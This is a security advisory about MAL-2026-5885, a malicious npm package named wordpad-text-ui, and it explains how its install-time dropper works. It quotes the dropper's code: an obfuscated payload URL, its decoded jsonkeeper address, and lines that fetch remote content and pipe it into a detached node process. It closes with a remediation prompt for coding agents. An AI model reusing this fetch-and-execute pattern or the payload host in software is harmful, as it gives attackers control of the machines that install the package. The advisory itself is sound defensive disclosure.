# MAL-2026-5885: Malicious code in wordpad-text-ui (npm)


- **Type:** Malicious package
- **Package:** `wordpad-text-ui` (npm)
- **Published:** 16 Jun 2026
- **Also known as:** GHSA-83j8-j97r-9p9h

## What is MAL-2026-5885?

MAL-2026-5885 is a malicious package in wordpad-text-ui, published on 16 Jun 2026. 

### Official description

On `npm install`, the declared postinstall hook runs `node main.js`, which decodes an obfuscated URL (stored as `DEV_API_KEY="S]EH:2e2prf1uhshhnqrvm1zzz22=vswwk"` in main.js line 15, deobfuscated via string reversal and a Caesar shift of -3 to `https://www.jsonkeeper.com/b/7EBZP`), HTTP-GETs the response via axios, and writes the body into the stdin of a detached `node` child process for execution (main.js lines 18-23: `const s1 = (await axios.get(update(DEV_API_KEY))).data.content; const child = spawn('node', [], { detached: true,... }); child.stdin.write(s1); child.stdin.end(); child.unref();`). This is a classic install-time remote code execution dropper: the payload is hosted on an anonymous, mutable JSON paste service and is therefore attacker-controlled and can change at any time without a package update. Supporting indicators reinforce malicious intent: the C2 URL is hidden behind a homemade reverse+Caesar encoding under a misleading `DEV_API_KEY` name (an evasion tactic against static scanners); the package's name (`wordpad-text-ui`) implies a text-editor UI library but `index.js` only errors out telling consumers not to require it, while `bootstrap.js`, `bundle.js`, and `publish.js` are empty 0-byte decoys — the package ships no actual functionality and exists solely to deliver the dropper. It also pulls in a sibling package `richtext-editor-ui` that propagates the same campaign.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-5885?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5885 is a malicious package: wordpad-text-ui (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5885/ (Markdown: https://insights.sbomify.com/MAL-2026-5885/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5885

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-5885/
Summaries are generated and may contain mistakes; the official description above is the record.